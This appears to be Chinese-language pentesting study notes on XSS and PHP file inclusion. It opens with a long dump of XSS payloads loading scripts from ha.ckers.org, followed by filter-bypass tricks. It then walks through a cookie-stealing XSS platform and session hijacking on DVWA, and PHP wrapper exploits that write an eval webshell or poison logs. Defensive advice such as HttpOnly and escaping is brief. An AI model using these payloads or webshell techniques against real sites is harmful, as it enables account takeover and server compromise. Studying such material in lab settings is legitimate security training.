TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”><IMG SRC=”javascript:alert(‘XSS’)”<iframe src=http://ha.ckers.org/scriptlet.html <javascript:alert("hellox worldss")<img src="javascript:alert('XSS');"><img src=javascript:alert("XSS")><"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"><IFRAME SRC="javascript:alert('XSS');"></IFRAME><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT><<SCRIPT>alert("XSS");//<</SCRIPT><"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT></script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510<script>alert("XSS");</script>&search=10&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search<h1><font color=blue>hellox worldss</h1><BODY ONLOAD=alert('hellox worldss')><input onfocus=write(XSS) autofocus><input onblur=write(XSS) autofocus><input autofocus><body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus><form><button formaction="javascript:alert(XSS)">lol<!--<img src="--><img src=x onerror=alert(XSS)//"><![><img src="]><img src=x onerror=alert(XSS)//"><style><img src="</style><img src=x onerror=alert(XSS)//"><? foo="><script>alert(1)</script>"><! foo="><script>alert(1)</script>"></ foo="><script>alert(1)</script>"><? foo="><x foo='?><script>alert(1)</script>'>"><! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>"><% foo><x foo="%><script>alert(123)</script>"><div style="font-family:'foo ;color:red;';">LOLLOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style><script>({0:#0=alert/#0#/#0#(0)})</script><svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg><SCRIPT>alert(/XSS/.source)</SCRIPT>\\";alert('XSS');//</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT><INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\"><BODY BACKGROUND=\"javascript:alert('XSS')\"><BODY ONLOAD=alert('XSS')><IMG DYNSRC=\"javascript:alert('XSS')\"><IMG LOWSRC=\"javascript:alert('XSS')\"><BGSOUND SRC=\"javascript:alert('XSS');\"><BR SIZE=\"&{alert('XSS')}\"><LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER><LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\"><LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\"><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE><META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\"><STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE><XSS STYLE=\"behavior: url(xss.htc);\"><STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS<IMG SRC='vbscript:msgbox(\"XSS\")'><IMG SRC=\"mocha:[code]\"><IMG SRC=\"livescript:[code]\">žscriptualert(EXSSE)ž/scriptu<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\"<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME><FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET><TABLE BACKGROUND=\"javascript:alert('XSS')\"><TABLE><TD BACKGROUND=\"javascript:alert('XSS')\"><DIV STYLE=\"background-image: url(javascript:alert('XSS'))\"><DIV STYLE=\"background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029\"><DIV STYLE=\"background-image: url(javascript:alert('XSS'))\"><DIV STYLE=\"width: expression(alert('XSS'));\"><STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE><IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\"><XSS STYLE=\"xss:expression(alert('XSS'))\">exp/*<A STYLE='no\xss:noxss(\"*//*\");xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'><STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE><STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A><STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE><!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]--><BASE HREF=\"javascript:alert('XSS');//\"><OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT><EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED><EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>a=\"get\";b=\"URL(\\"\";c=\"javascript:\";d=\"alert('XSS');\\")\";eval(a+b+c+d);<HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><xss:xss>XSS</xss:xss></HTML><XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN><XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML><SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN><XML SRC=\"xsstest.xml\" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN><HTML><BODY><?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"><?import namespace=\"t\" implementation=\"#default#time2\"><t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\"></BODY></HTML><SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT><!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"--><? echo('<SCR)';echo('IPT>alert(\"XSS\")</SCRIPT>'); ?><IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\">Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\"><HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT><SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT><SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT><SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT><SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT><SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT><SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT><A HREF=\"http://66.102.7.147/\">XSS</A><A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A><A HREF=\"http://1113982867/\">XSS</A><A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A><A HREF=\"http://0102.0146.0007.00000223/\">XSS</A><A HREF=\"htt p://6 6.000146.0x7.147/\">XSS</A><A HREF=\"//www.google.com/\">XSS</A><A HREF=\"//google\">XSS</A><A HREF=\"http://ha.ckers.org@google\">XSS</A><A HREF=\"http://google:ha.ckers.org\">XSS</A><A HREF=\"http://google.com/\">XSS</A><A HREF=\"http://www.google.com./\">XSS</A><A HREF=\"javascript:document.location='http://www.google.com/'\">XSS</A><A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS</A><%3C<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x3c\x3C\u003c\u003C<iframe src=http://ha.ckers.org/scriptlet.html><IMG SRC=\"javascript:alert('XSS')\"<SCRIPT SRC=//ha.ckers.org/.js><SCRIPT SRC=http://ha.ckers.org/xss.js?<B><<SCRIPT>alert(\"XSS\");//<</SCRIPT><SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")><SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT><IMG SRC=\" javascript:alert('XSS');\">perl -e 'print \"<SCR\0IPT>alert(\\"XSS\\")</SCR\0IPT>\";' > outperl -e 'print \"<IMG SRC=java\0script:alert(\\"XSS\\")>\";' > out<IMG SRC=\"jav
ascript:alert('XSS');\"><IMG SRC=\"jav
ascript:alert('XSS');\"><IMG SRC=\"jav	ascript:alert('XSS');\"><IMG SRC=javascript:alert('XSS')><IMG SRC=javascript:alert('XSS')><IMG SRC=javascript:alert('XSS')><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))><IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"><IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`><IMG SRC=javascript:alert("XSS")><IMG SRC=JaVaScRiPt:alert('XSS')><IMG SRC=javascript:alert('XSS')><IMG SRC=\"javascript:alert('XSS');\"><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'';!--\"<XSS>=&{()}';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'';!--"<XSS>=&{()}<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT><IMG SRC="javascript:alert('XSS');"><IMG SRC=javascript:alert('XSS')><IMG SRC=javascrscriptipt:alert('XSS')><IMG SRC=JaVaScRiPt:alert('XSS')><IMG """><SCRIPT>alert("XSS")</SCRIPT>"><IMG SRC="  javascript:alert('XSS');"><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT><<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT>a=/XSS/alert(a.source)</SCRIPT>\";alert('XSS');//</TITLE><SCRIPT>alert("XSS");</SCRIPT>¼script¾alert(¢XSS¢)¼/script¾<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"><IFRAME SRC="javascript:alert('XSS');"></IFRAME><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET><TABLE BACKGROUND="javascript:alert('XSS')"><TABLE><TD BACKGROUND="javascript:alert('XSS')"><DIV STYLE="background-image: url(javascript:alert('XSS'))"><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"><DIV STYLE="width: expression(alert('XSS'));"><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"><XSS STYLE="xss:expression(alert('XSS'))">exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'><EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT><HTML><BODY> |
2.3 xss常见绕过方法及流程
常见绕过方法:
A、常规考察
1 | <script>alert(1)</script> |
B、input标签闭合
C、单引号前后闭合与onclick的使用
1 | 'onclick='alert(1) |
D、双引号前后闭合与onclick的使用
E、input标签的闭合与a标签的使用
1 | '><a href=javascript:alert(1)> |
F、input标签闭合与大小写转换
1 | '><scRPT>alert(1)</script> |
G、input标签闭合与双写绕过
1 | '><sscriptcript>alert(1)</script> |
H、javascript:伪协议编码
1 | javascript:alert(1) |
I、javascript:伪协议编码与合法输入
1 | javascript:alert(1)//http:// |
xss总结:
1、见到框框就插
2、首先使用标准的 语句进行插入,若没有弹窗,则f12审查元素,看是否需要闭合标签,亦或者插入的语句是否被过滤(删除、替换等)
1 | <script>alert(1)</script> |
若需要闭合标签,则闭合标签即可。
若被过滤,则需要审查元素或者查看源代码,观察哪里被过滤了!
我们初次是插入:
1 | <script>alert(1)</script> |
若script这个词被过滤了,我们怎么办?
1、大小写转换试一试
2、双写script试一试
3、那就不用script这个单词,用事件属性onclick试一试
4、onclick不行,可以用onerror属性试一试?此时需要注意,因为onerror需要结合img标签使用,所以在插入的时候需要闭合原有语句的尖括号
5、若事件属性都不行,那么试一试伪协议?javascript:alert(1) 伪协议一般搭配href使用
6、如果伪协议的script这个词也被过滤了,可以试一试给script的部门字母进行实体编码,来实现绕过,实体编码在线转换:https://www.qqxiuzi.cn/bianma/zifushiti.php
7、最后就是如果插入地址是一个超链接,我们审查元素发现有提示,地址不合法,我们可以先尝试找到一个符合其规则的合法url,然后找到它是根据该url的什么特征来判定是否合法,比如http:// 这个协议来判别,那么我们就可以在我们的xss语句里写上这个协议头,然后再用双 // 注释掉这个协议头即可 ,例如:javascript:alert(1)//http://
尖括号< >被过滤怎么办?
假如在特殊标签下的时候,可以构造一些事件触发
这里如果在iinput标签下可以用: “ autofocus onfocus=alert(1)
alert被过滤怎么办?
1 | 编码;另外 prompt 和 confirm 也可以弹窗<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==> (firefox可,chrome不行) <svg/onload=prompt(1)/> <script>eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41,59))</script> (alert(“XSS”);) <a href=javascript:alert(13)>M <script>a\u006cert(1);</script> |
on事件被过滤怎么办?
1 | <a href=javascript:alert(1) > <form><button formaction=javascript:alert(1)>M <object data=“javascript:alert(document.location);”> (firefox可) <b style=“width: expression(alert(document.location));”>XSS</b> (IE6以下可) <math><a xlink:href=javascript:alert(1)>1</a></math> (firefox可,chrome不可) 可以执行 js 的属性: formaction action href xlink:href src content data |
其他绕过方法
标签和属性之间并不是只能出现空格
1 | <iMg/src=x/**/onerror=alert(1)> |
有时候并不需要一个合法的标签
1 | <M/onclick="alert(1)">M |
使用eval动态构建关键字
1 | <script>eval(‘ale’+’rt(1)’);</script> |
2.4 http-only(防御)
http-only作用:给我们的cookie里添加http-only字段,这样浏览器一旦发现cookie里有http-only字段,将不运行任何javas脚本读取,这样就能防止xss读取我们的cookie
怎么自动给cookie添加http-only标识?
在源码中搜索set-cookie,然后将第7个传入的参数设为True 即可,然后去浏览器里删除cookie,接着再生成的cookie就会带上http-only标识了
1 | setcookie('id',$_POST['name'],time()+3600, NULL, NULL, NULL, TRUE);setcookie('pass',$_POST['password'],time()+3600, NULL, NULL, NULL, TRUE);//第七个传入的参数改为TRUE即可自动添加http-only字段 |
在有httponly字段后,我们执行:
1 | <script>alert(document.cookie)</script> |
发现已经无法获取cookie了
2.5 其他防御方法
- 阻止恶意代码注入
- 阻止恶意操作执行
不管是反射型还是存储型 xss,都能通过服务端过滤进行防御:
黑名单:过滤特殊符号及字符
如<、>、%、#、/、”、’、;、(、)、script、svg、object、on事件等
白名单:只允许特定类型或符号
根据输入的数据特征限制使用的类型,如年龄限制为数字类型;输入类型为字符型限制为仅可使用大小写的26个字母及数字及-和_;等
编码及转义
cookie 中设置 httponly
setcookie 将 httponly 选项设置为 true,防范 cookie 劫持确保执行脚本来源可信
开发者明确告诉客户端,哪些外部资源可以加载和执行(CSP 策略)
不使用有缺陷的第三方库
PHP:htmlentities() 、 htmlspecialchars()
Python:cgi.escape()
ASP:Server.HTMLEncode()
ASP.NET:Server.HtmlEncode() 、Microsoft Anti-Cross Site Scripting Library
Java:xssprotect(Open Source Library)
Node.js:node-validator
htmlspecialchars 默认配置是不过滤单引号的。只有设置了:quotestyle 选项为
ENT_QUOTES 才会过滤单引号
3、xss平台搭建
在线xss平台:https://xss.pt
在线平台缺陷:用的人多,所以卡
账号密码:painter
平台源码:自己搭建
xsser:https://gitee.com/nMask/Resource/blob/master/xss.me.new.zip
蓝莲花:https://github.com/asw3asw/BlueLotus_XSSReceiver
蓝莲花搭建教程:https://blog.csdn.net/itest_2016/article/details/77650356
实操教程:
1、去github下载源码并解压
2、我这边用phpstudy来安装
3、将源码(解压后)放到D:\phpstudy_pro\WWW目录下,可以考虑给其目录名改一下,应为源码的目录名太长,我这里改为xss,方便以后访问
4、启动phpstudy,打开服务,然后浏览器访问:127.0.0.1/xss 点击安装
5、修改密码
易错点:windows下搭建不需要修改权限,但是linux下需要
6、提交后,就可以登录了。登录密码为我自己的我的昵称
因为本地搭建需要在公网,所以我这里就使用别人搭建好的,https://xss.pt
1、新建项目——默认模块—无keepsession
2、查看xss语句
我这里用kali进行测试吧,因为kali有dvwa,用kali的dvwa进行测试
先设置难度为低吧
这里我首先用谷歌浏览器插入存储型xss(gordonb/abc123),然后用火狐浏览器登录另外一个dvwa账号进行访问有xss的页面(admin password)
接着去xss平台复制xss语句
此时,我们再去看xss在线平台,发现已经有一条记录了,然而这条记录是作为攻击者的,接下来只要其他用户到该存在该存储型xss漏洞页面,就会获取到它的cookie
ok,我用火狐浏览器登录的admin,去访问该页面
哈哈,发现失败,找了原因,是因为火狐的dvwa等级我没调。要调成最低的,否则过滤了,调了之后,再访问,就可以了,内容为空白,就代表代码被执行
再看xss平台,发现已经获取到cookie了
那么怎么利用该获取到的cookie呢?
修改cookie即可,我这里在谷歌浏览器上利用cookie来登录火狐的账号,admin
首先,我退出谷歌浏览器上dvwa的账号:
接着就到了登录界面,然后按下f12—-network—-接着在网页上刷新一下,一定要刷新下哦,否则network里看不到数据包—然后点击当前页面的那个数据包
接着选择右边的cookie,如果被折叠起来了,就去折叠里看
接着再修改cookie的name和value就行了
我这里根据xss平台获取的cookie来修改
security设置为low
PHPSESSID设置为:gl0gvqmnnck8a4l4q1c07rq181
易错点:因为我的火狐
发现已经成功登陆
4、xss存在判断
当我们在一个地方插入xss语句的时候,如果我们插入的语句能在页面正常显示,那么该处就差不多无法xss了,所以得找其他的插入点,比如超链接插入功能
例如:http://120.27.61.239:8080/vulnlab/stored-xss/xss_b/index.php
在该页面,我们插入标准的xss语句,竟然可以正常显示
当然,我当时做这道题的时候,审查元素查看了一遍,发现是尖括号过滤掉了,被转换成了实体字符
后面我尝试过双写尖括号,将尖括号转为16进制、实体字符,发现都不行
包括在github上的xss语句汇总里也找了好多语句进行插入,发现都不行
后面请教别人才知道,这里无法插入了,得另找插入点
由此得知,如果我们插入的语句成功显示,但是却没有达到想要的效果的时候,就不要再在这里纠结了,换一个插入点试一试
所以,在指点下,我找到了它插入超链接的地方
首先,正常插入,然后看其语句构造
接着构造xss语句
第六章:文件包含
1、文件包含概述
什么是文件包含?
开发人员为了减少代码量,对于相同的功能模块重复写代码,后续只需要直接调用即可
文件包含产生的原因
对包含的参数没有过滤或者定义,导致可以被利用
包含函数:include和require
include和require的区别
如果是用include包含另一个php文件,如果该文件不存在或者被删除(移动)了,那么这里会报错,但是报错归报错,后面的代码还会执行,比如后面有 echo“123” 那么该语句会执行
如果是用require包含另一个文件,那么一旦该文件不存在或者被删除(移动)了,它不仅报错,后面的代码也不执行,比如后面的 echo“123”就不会被执行
include、require和include_once、require_once的区别
前面的两个可以被包含多次,后面带once的只能被包含一次
如果1.php前面已经被包含一次了,后面我用include_once或者require_once再次包含1.php,那么因为once特性,相当于没被包含
文件包含的特性
当我们包含一个文件时,无论该文件的后缀名是什么,哪怕一个img或者txt文件,只要它的内容里有php语法,那么他就会按照php来执行
所以,我们当发现一个文件包含漏洞的时候,可以上传一个包含一句话的任意格式文件,然后包含它,就可以拿到webshell了
文件包含支持的协议:
file:// — 访问本地文件系统
比如读取:/etc/passwd
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
php://filter/read=convert.base64-encode/resource=../../export.php
php://input 接收post的数据,将post的代码当做php来执行,需要结合hackbar的post来执行
作用:主要用来在对方服务器创建一个文件,并且写入一句话,当然也可以直接执行命令
案例一:在对方服务器创建一个php文件,并给其写入一句话
原理:通过php://input 来将我们post的数据按照php代码执行,而我们post的语句意思就是在当前目录创建一个shell.php,并给其写入一句话木马
易错点:一句话木马的美元符号¥前面必须要有转义符 \ ,否则虽然也会创建文件,但是文件内容的一句话会不完整,因为在php中,如果双引号里面的内容出现美元符号 $ 就会将其当做一个变量(单引号则不会,单引号里面出现美元符号,还是将其当做字符串处理),毕竟变量的标志就是美元符号$ ,所以最终写入的内容是残缺的,而我们的目的是写入完整的一句话,所以必须要对美元符号 $ 进行转义。
正确的执行代码:
1 | http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://inputpost数据: fputs(fopen("shell.php","w")," @eval(\$_GET[a]); ") 通过一句话执行命令:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=./shell.php&a=phpinfo(); |
案例二:直接用php://input 执行php的命令,比如phpinfo();
易错点:因为input只是将post的数据按照php的来执行,如果我们的post的句子不符合php语法,比如没有尖括号和闭合等,那么input就会将内容显示出来,而不是执行。
利用语句:
1 | http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://inputpost数据: <?php phpinfo();?> |
data:// — 数据(RFC 2397)
特点:和php://input 协议差不多,都是执行php代码的
有前缀,data://text/plain 和执行的php语句之间用分号 ; 来连接
如果需要进行base64编码,可以后面加分号 ; 然后说明编码方式,接着再接 逗号 ‘,’ 然后接base64编码过后的代码
例如:data://text/plain;base64,
区别:
php://input 必须要post,input只需要allow_url_include 开启即可
data:// 必须要get,并且data还可以给执行的语句base64编码,来防止检测;需要allow_url_open和allow_url_include 同时开启
利用代码:
1 | http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://text/plain, phpinfo(); #注意,plain和php语句之间直接连接就用逗号,如果语句被base64编码后,就需要添加base64字符串,base字符串和plain之间用分号 ; 进行连接,编码后的php语句与base64字符串之间用逗号 , 连接 base64编码来绕过 http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://text/plain;base64, phpinfo(); 这里有一个坑, phpinfo(); 编码成base64是PD9waHAgcGhwaW5mbygpOz8+IA== 这里面有一个加号(+),但是浏览器却不认识加号 + ,所以我们需要将+号转换为url编码,+号在url中就是 %2b ,所以最终的代码是:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2bIA== 或者我们写php代码的时候,后面的 这两个符号不写,因为在php中,分号 ; 就代表着结束,所以一旦有分号 ; ,那么 就可有可无,所以这里为了方便转换为base64编码,直接编码 phpinfo(); 即可 |
zip:// bzip2:// zlib:// — 压缩流 :即 可以访问压缩包中的子文件
作用:当我们上传的文件绕不过去,并且存在文件包含漏洞的话,可以上传一个压缩包,压缩包里有一个包含一句话的文件,然后通过这些压缩协议进行执行压缩包里面的木马
技巧:可以先将文件压缩,然后将后缀名zip改为jpg等,这样就可以更好的绕过上传,这样zip改为jpg后的文件也可以用phar来操作
缺点:只能使用绝对路径,使用相对路径则会报错
易错点:
1、这三个并不是php协议,所以并不是php://zip://
2、冒号不能少,千万不能忘
1 | 格式: zip://[压缩文件绝对路径]#[压缩文件内的子文件但是在实际利用中,因为少了浏览器对url的编码,所以这里我们需要自己将 # 替换成url编码后的字符: %23实际利用代码:zip://[压缩文件绝对路径]%23[压缩文件内的子文件 bzip2://[压缩文件绝对路径]%23[压缩文件内的子文件 zlib://[压缩文件绝对路径]%23[压缩文件内的子文件 |
phar:// — PHP 归档
特点:也可以执行压缩包里的子文件
优点:既可以使用绝对路径,也可以使用相对路径
技巧:可以先将文件压缩,然后将后缀名zip改为jpg等,这样就可以更好的绕过上传,这样zip改为jpg后的文件也可以用phar来操作
和压缩流协议的区别:
压缩包连接子文件的符号:在压缩流协议里是# 号,也就是23%
而在phar协议里是斜杠 /
路径的区别:在压缩流协议里只能使用绝对路径,而在phar里,相对路径和绝对路径都可以使用
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
2、本地文件包含
2.1 利用方式
什么是本地文件包含?
被包含的文件在本地服务器
可以包含的有价值的东西
1、日志
利用原理:当我们访问一个网站的时候,我们访问的url都会记录在网站的日志文件里,我们完全可以访问一个网址,后面带上一句话木马,虽然访问后,会提示该页面不存在,但是这个错误已经记录到网站的错误日志里了,我们只需要包含该错误日志就相当于执行了一句话木马
意见建议:
1、优先包含error.log日志,因为这个默认是开启的,而access日志还需要单独开启
2、我们日志,可以先用常见的绝对路径试一试,如果绝对路径不对,可以试一试用 ../ 来跳转使用相对路径,可以多加点,因为就算你加的最多,也就是调到最顶级目录而已
linux日志路径:
绝对路径:/var/log/apache2/access.log
/var/log/apache2/error.log
access日志(记录访问信息的日志,错误的也包括在在内):利用方法和windows差不多,只是路径不一样
error日志(记录访问的信息系):利用方法同理,利用方法和windows差不多,只是路径不一样
windows日志路径:通过相对路径来查找,毕竟我们也不确定对方的绝对路径,当然还是可以尝试下的
绝对路径:C:\phpStudy\PHPTutorial\Apache\logs\access.log
C:\phpStudy\PHPTutorial\Apache\logs\error.log
相对路径:假设一个网站是127.0.0.1/dvwa/1.php
我们首先需要跳出dvwa目录,使用第一个 ../ 接着就到了和dvwa同级的目录下(www),然后我们需要跳出www目录,使用第二个 ../ 接着我们就到了和www的同级目录下
接着进入apache目录–logs—access.log 文件
实例:
access日志(记录成功访问信息的日志):
前提:phpstudy的httpd-conf进行配置,搜索CustomLog ,将其改为开启状态,就是删掉 # 注意别找错了,是 CustomLog “logs/access.log” combined
接着我们构造url来进行访问,该url保函一句话木马
虽然提示无法访问,但是记录已经保存在access.log里了
但是我们可以发现,access.log里的一句话木马一些字符串已经被url编码了,所以我们文件包含access.log虽然会成功,但是却无法连接上一句话
那么怎么解决呢?
用burp来抓包,然后将在get请求里的url里插入一句话,这样插入的一句话就不会被url编码了
ok,接着我们再看看access.log的记录
